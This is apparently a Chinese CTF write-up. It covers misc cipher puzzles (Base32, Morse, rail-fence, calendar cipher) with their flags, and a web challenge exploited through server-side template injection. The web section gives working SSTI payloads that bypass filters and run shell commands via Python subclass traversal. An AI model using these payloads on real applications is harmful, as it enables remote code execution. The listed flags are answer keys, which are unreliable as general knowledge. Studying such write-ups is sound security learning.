Misc
签到题
关注公众号,Base32解码即可
42WKF2F7R3SY7AXFRKQDEMBSGLS3TNHJTGK6RJN746OIDZ55SHT3XHHFV2E6LBNI46XKDZ4QQ3SZDGHIQGGOJOE242FIB2EDXXS2JJ7IWWNQUZTMMFTXWZJTGA2DANDFGFSWENDCMYZDKZJVGYYDAYZUGI2TKNZYGI3GCNDCPU======
解码得到
flag{e30404e1eb4bf25e5600c42557826a4b}
看看日历
下载得到MP3文件,查看波形图,疑似摩斯密码。
手撸摩斯密码:
-.- ..--- -.- ----- . ..--- -.-- ..--- .. ----- ... -....
解码得到:
K2K0E2Y2I0S6
解栅栏密码,密钥6
:
KKEYIS202206
得到密钥202206
,根据日历密码得到
6 12 1 7 9 19 2 1 25 5 11
flagisbayek
对bayek
进行md5处理得到flag:
flag{e1ccac51692077f7895b4c2bdc908668}
Web
EZSS
进入页面,发现提示please get pid,尝试GET传参,发现回显参数值到页面了。
结合题目名称以及返回报文头的Server信息,初步判断是一道SSTI题目。
经过尝试,题目过滤了{{}}
,使用{%print %}
来绕过,说明存在SSTI漏洞。
?pid={%print 7*7%}
题目还过滤了.
,使用[request["args"]["a"]]
来绕过。
查看可用的类:
?pid={%print+()[request["args"]["a"]][request["args"]["b"]][0][request["args"]["c"]]()%}&a=__class__&b=__bases__&c=__subclasses__
执行命令:
{%print ()[request["args"]["a"]][request["args"]["b"]][0][request["args"]["c"]]()[146]('whoami',shell=True,stdout=-1)["stdout"]["readlines"]() %}&a=__class__&b=__bases__&c=__subclasses__&d=__init__&f=communicate
附录
日历密码原理(附解密工具)
(1)数字1-26
对应a-z
共26个英文字母,因此日历密码只能加密英文字母,并且不区分大小写;
(2)M、T1、W、T2、F、S1、S2
分别代表周一到周日七天(英文首字母代替,首字母相同的星期使用1或2来区分);
(3)密钥为某年某月,即该月的日历为密码表,某天对应的日期为明文。
以本次赛题为例:
以2022年6月
为密钥,密文为M1 S22 W1 T11 T22 S23 T21 W1 S14 S21 S12
M1
表示本月第一个星期一,对应日期是6
号;
S22
表示本月第二个星期日,对应日期是12
号;
W1
表示本月第一个星期三,对应日期是1
号;
以此类推,得到解密后的字符串:
6 12 1 7 9 19 2 1 25 5 11
根据字母对应关系,得到明文flagisbayek
因为比赛时没有找到类似工具,人工解密还是需要一定时间的,赛后写了一个小工具,可以快速解密日历密码。
用Java写的,运行需要JDK环境,输入密文、密钥,点击解密即可: